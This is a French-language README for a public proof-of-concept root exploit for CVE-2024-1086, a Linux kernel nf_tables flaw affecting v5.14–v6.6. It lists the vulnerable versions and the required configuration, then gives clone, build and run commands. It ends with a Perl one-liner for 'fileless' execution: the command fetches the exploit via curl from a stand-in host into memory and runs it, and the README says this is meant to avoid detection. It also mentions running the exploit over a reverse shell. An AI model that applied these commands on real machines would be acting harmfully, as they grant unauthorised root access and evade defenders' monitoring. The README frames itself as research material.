
Exploit d'élévation de privilèges locale pour CVE-2024-1086 ciblant les noyaux Linux v5.14–v6.6 avec un taux de réussite de 99,4% sur KernelCTF. Inclut le support d'exécution sans fichier pour les tests de pénétration.
Exploit de preuve de concept pour une élévation de privilèges locale universelle pour CVE-2024-1086, fonctionnant sur la plupart des noyaux Linux entre v5.14 et v6.6, y compris Debian, Ubuntu et KernelCTF. Le taux de réussite est de 99,4 % dans les images KernelCTF.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
Une analyse complète de l'exploit - incluant des informations contextuelles et de nombreux diagrammes utiles - est disponible dans le billet de blog Flipping Pages.
L'exploit affecte les versions de (inclus) v5.14 à (inclus) v6.6, à l'exclusion des branches patchées v5.15.149>, v6.1.76>, v6.6.15>. Le correctif pour ces versions a été publié en février 2024. La vulnérabilité sous-jacente affecte toutes les versions (à l'exclusion des branches stables patchées) de v3.15 à v6.8-rc1.
Mises en garde :
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (y compris Ubuntu v6.5)CONFIG_USER_NS=y), que ces espaces de noms utilisateur soient non privilégiés (commande sh sysctl kernel.unprivileged_userns_clone = 1), et que nf_tables soit activé (kconfig CONFIG_NF_TABLES=y). Par défaut, tout cela est activé sur Debian, Ubuntu et KernelCTF. Les autres distributions n'ont pas été testées, mais pourraient également fonctionner. De plus, l'exploit n'a été testé que sur x64/amd64.Les valeurs par défaut devraient fonctionner immédiatement sur Debian, Ubuntu et KernelCTF avec un shell local. Sur les configurations/distributions non testées, assurez-vous que les valeurs kconfig correspondent au noyau cible. Celles-ci peuvent être spécifiées dans src/config.h. Si vous exécutez l'exploit sur une machine avec plus de 32 Go de mémoire physique, pensez à augmenter CONFIG_PHYS_MEM.
Si vous exécutez l'exploit via SSH (sur la machine de test) ou un reverse shell, vous pouvez basculer CONFIG_REDIRECT_LOG à 1 pour éviter une activité réseau inutile.
Si cela ne vous convient pas, il existe un binaire x64 compilé avec la configuration par défaut.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
Binaire : CVE-2024-1086/exploit
Lancer l'exploit est tout aussi simple :
./exploit
L'exécution sans fichier est également prise en charge, dans le cas de situations de test d'intrusion où les détections doivent être évitées. Cependant, Perl doit être installé sur la cible :
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
Les programmes et scripts (« programmes ») dans ce répertoire/dossier/dépôt logiciel (« dépôt ») sont publiés, développés et distribués à des fins éducatives et de recherche uniquement. Je (le créateur) n'approuve aucune utilisation malveillante ou illégale des programmes de ce dépôt, car l'intention est de partager des recherches et non de mener des activités illégales avec ceux-ci. Je ne suis pas légalement responsable de tout ce que vous faites avec les programmes de ce dépôt.